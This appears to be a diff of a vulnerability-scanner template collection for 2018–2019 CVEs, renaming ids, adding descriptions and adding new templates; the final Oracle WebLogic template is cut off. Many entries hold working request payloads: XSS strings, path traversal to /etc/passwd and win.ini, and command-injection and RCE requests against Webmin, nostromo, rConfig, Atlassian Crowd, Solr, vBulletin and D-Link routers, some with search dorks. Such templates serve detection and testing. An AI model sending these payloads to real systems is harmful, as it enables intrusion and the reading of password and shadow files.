+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2018-18069.yaml

@@ -1,9 +1,10 @@
-id: CVE-2018-18069
+id: cve-2018-18069
 
 info:
   name: Wordpress unauthenticated stored xss
   author: nadino
   severity: medium
+  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
 
 requests:
   - method: POST

cves/CVE-2018-19386.yaml

@@ -0,0 +1,22 @@
+id: cve-2018-19386
+
+info:
+  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://www.cvedetails.com/cve/CVE-2018-19386/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<a href="javascript:alert(document.domain)//'

cves/CVE-2018-19439.yaml

@@ -1,9 +1,10 @@
-id: CVE-2018-19439
+id: cve-2018-19439
 
 info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: high
+  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
 
 requests:
   - method: GET
@@ -12,5 +13,5 @@ requests:
     matchers:
       - type: word
         words:
-          - "<script>alert(1337)</script>"
+          - "<script>alert(1337)</script><!--</TITLE>"
         part: body

cves/CVE-2018-20824.yaml

@@ -1,19 +1,21 @@
-id: CVE-2018-20824
+id: cve-2018-20824
 
 info:
   name: Atlassian Jira WallboardServlet XSS
-  author: madrobot
+  author: madrobot & dwisiswant0
   severity: medium
+  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - alert(document.domain)
+      - type: regex
+        regex:
+          - (?mi)timeout:\salert\(document\.domain\)
         part: body

cves/CVE-2018-2791.yaml

@@ -1,16 +1,16 @@
-id: CVE-2018-2791
+id: cve-2018-2791
 
 info:
   name: Oracle WebCenter Sites XSS
   author: madrobot
   severity: medium
-
+  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
     matchers:
       - type: word
         words:
-          - "<script>alert(1337)</script>"
+          - "<h1xxx<scriptalert(1)</script"
         part: body

cves/CVE-2018-3714.yaml

@@ -0,0 +1,19 @@
+id: cve-2018-3714
+info:
+  name: node-srv Path Traversal
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/node_modules/../../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2018-3760.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-3760
+id: cve-2018-3760
 
 info:
   name: Rails cve-2018-3760
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/assets/file:%2f%2f/etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2018-5230.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-5230
+id: cve-2018-5230
 
 info:
   name: Atlassian Confluence Status-List XSS
@@ -9,11 +9,12 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%281337%29%22%3E.vm"
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
       - type: word
         words:
-          - "javascript:alert(1337)"
+          - "SRC=\"javascript:alert(1337)\">"
         part: body

cves/CVE-2018-6389.yaml

@@ -1,16 +0,0 @@
-id: CVE-2018-6389
-
-info:
-  name: Wordpress Load Script
-  author: nadino
-  severity: low
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-admin/load-scripts.php?load="
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(x_powered_by,"Engine")'
-          - 'contains(content_type,"javascript")'

cves/CVE-2018-7490.yaml

@@ -1,4 +1,4 @@
-id: CVE-2018-7490
+id: cve-2018-7490
 
 info:
   name: uWSGI PHP Plugin Directory Traversal
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-1010287.yaml

@@ -0,0 +1,37 @@
+id: cve-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: high
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body

cves/CVE-2019-10475.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-10475
+id: cve-2019-10475
 
 info:
   name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-11043.yaml

@@ -0,0 +1,18 @@
+id: cve-2019-11043
+
+info:
+  name: PHP-FPM & nginx RCE
+  author: geeknik
+  severity: high
+  description: https://github.com/neex/phuip-fpizdam
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
+
+    matchers:
+      - type: word
+        words:
+          - "/bin/which"
+        part: body

cves/CVE-2019-11248.yaml

@@ -0,0 +1,19 @@
+id: cve-2019-11248
+
+info:
+  name: exposed_pprof
+  author: 0xceeb
+  severity: medium
+
+  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+  # http://mmcloughlin.com/posts/your-pprof-is-showing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/debug/pprof/"
+    matchers:
+      - type: word
+        words:
+          - "Types of profiles available:"
+          - "Profile Descriptions"

cves/CVE-2019-11510.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-11510
+id: cve-2019-11510
 
 info:
   name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
@@ -10,6 +10,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-11580.yaml

@@ -0,0 +1,38 @@
+id: cve-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-12314.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-12314
+id: cve-2019-12314
 
 info:
   name: Deltek Maconomy 2.2.5 LFIl
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-12461.yaml

@@ -0,0 +1,25 @@
+id: cve-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Vendor Homepage: https://webport.se/
+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body

cves/CVE-2019-12593.yaml

@@ -0,0 +1,27 @@
+id: cve-2019-12593
+
+info:
+  name: IIceWarp <=10.4.4 - Local File Inclusion
+  author: pikpikcu
+  severity: high
+
+  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
+  # Google Dork:-Powered By IceWarp 10.4.4
+  # Vendor Homepage: http://www.icewarp.com
+  # Software Link: https://www.icewarp.com/downloads/trial/
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "[intl]"
+          - "root:x:0"

cves/CVE-2019-14322.yaml

@@ -0,0 +1,25 @@
+id: cve-2019-14322
+
+info:
+  name: Odoo 12.0 - Local File Inclusion
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
+      - "{{BaseURL}}/web/static/c:/windows/win.ini"
+      - "{{BaseURL}}/base/static/c:/windows/win.ini"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body

cves/CVE-2019-14696.yaml

@@ -0,0 +1,24 @@
+id: cve-2019-14696
+
+info:
+  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-14696
+# Vendor Homepage: [https://open-school.org/]
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'
+        part: body

cves/CVE-2019-14974.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-14974
+id: cve-2019-14974
 
 info:
   name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-15043.yaml

@@ -0,0 +1,23 @@
+id: cve-2019-15043
+info:
+  author: bing0o
+  name: Grafana unauthenticated API
+  severity: medium
+requests:
+  - body: >-
+      {"dashboard":
+      {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows":
+      [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires":
+      3600}
+    headers:
+      Content-Type: application/json
+      Host: '{{Hostname}}'
+      User-Agent: Mozilla/5.0
+    matchers:
+      - part: body
+        type: word
+        words:
+          - deleteKey
+    method: POST
+    path:
+      - '{{BaseURL}}/api/snapshots'

cves/CVE-2019-15107.yaml

@@ -0,0 +1,32 @@
+id: cve-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47293
+# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-15858.yaml

@@ -0,0 +1,29 @@
+id: cve-2019-15858
+
+info:
+  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
+    before 2.2.5 for WordPress allows unauthenticated options import,
+    as demonstrated by storing an XSS payload for remote code execution.
+
+    Source/References:
+    - https://github.com/GeneralEG/CVE-2019-15858
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "2.2.5"
+        part: body

cves/CVE-2019-16278.yaml

@@ -0,0 +1,26 @@
+id: cve-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+
+  # Source: https://www.exploit-db.com/raw/47837
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-1653.yaml

@@ -0,0 +1,20 @@
+id: cve-2019-1653
+
+info:
+  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/config.exp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "sysconfig"
+        part: body

cves/CVE-2019-16662.yaml

@@ -0,0 +1,21 @@
+id: cve-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+# Source:-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/CVE-2019-16759-1.yaml

@@ -0,0 +1,25 @@
+id: cve-2019-16759-1
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"

cves/CVE-2019-16759.yaml

@@ -0,0 +1,25 @@
+id: cve-2019-16759
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
+
+        widgetConfig[code]=echo%20%27bm9uZXhpc3RlbnQ6MTMzNwo=%27%20|%20base64%20-d;%20exit;
+      - |
+        POST / HTTP/1.1
+
+        {"routestring":"ajax\/render\/widget_php","widgetConfig[code]":"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;"}
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "nonexistent:1337"

cves/CVE-2019-16920.yaml

@@ -0,0 +1,65 @@
+id: cve-2019-16920
+
+info:
+  name: Unauthenticated Multiple D-Link Routers RCE
+  author: dwisiswant0
+  severity: critical
+  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
+
+  # References:
+  # - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
+
+requests:
+  - raw:
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-17382.yaml

@@ -0,0 +1,21 @@
+id: cve-2019-17382
+
+info:
+  name: Zabbix Authentication Bypass
+  author: Harsh Bothra
+  severity: critical
+  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/zabbix.php?action=dashboard.view&dashboardid=1'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<title>Dashboard</title>"

cves/CVE-2019-17558.yaml

@@ -0,0 +1,58 @@
+id: cve-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2019-18394.yaml

@@ -0,0 +1,17 @@
+id: cve-2019-18394
+
+info:
+  name: Openfire Full Read SSRF
+  author: pdteam - nuclei.projectdiscovery.io
+  severity: critical
+
+  # Source:- https://swarm.ptsecurity.com/openfire-admin-console/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
+    matchers:
+      - type: word
+        words:
+          - <h1>Burp Collaborator Server</h1>

cves/CVE-2019-19368.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-19368
+id: cve-2019-19368
 
 info:
   name: Rumpus FTP Web File Manager 8.2.9.1 XSS
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-19781.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-19781
+id: cve-2019-19781
 
 info:
   name: Citrix ADC Directory Traversal

cves/CVE-2019-19908.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-19908
+id: cve-2019-19908
 
 info:
   name: phpMyChat-Plus XSS
@@ -9,6 +9,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
+    matchers-condition: and
     matchers:
       - type: status
         status:

cves/CVE-2019-19985.yaml

@@ -0,0 +1,33 @@
+id: cve-2019-19985
+
+info:
+  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
+  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48698
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Name
+          - Email
+          - Status
+          - Created On
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "Content-Disposition: attachment; filename=all-contacts.csv;"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/CVE-2019-20141.yaml

@@ -0,0 +1,20 @@
+id: cve-2019-20141
+
+info:
+  name: Neon Dashboard - XSS Reflected
+  author: knassar702
+  severity: medium
+  description: |
+    An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
+    Source/References:
+    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+    matchers:
+      - type: word
+        words:
+          - "<img src=x onerror=alert(1)>"
+        part: body

cves/CVE-2019-2588.yaml

@@ -1,4 +1,4 @@
-id: CVE-2019-2588
+id: cve-2019-2588
 
 info:
   name: Oracle Business Intelligence Path Traversal
@@ -10,6 +10,7 @@ requests:
     path:
       - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
       - "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
+    matchers-condition: and
     matchers:
       - type: word
         words:

cves/CVE-2019-2725.yaml

@@ -0,0 +1,41 @@
+id: cve-2019-2725
+
+info:
+  name: Oracle WebLogic Server - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
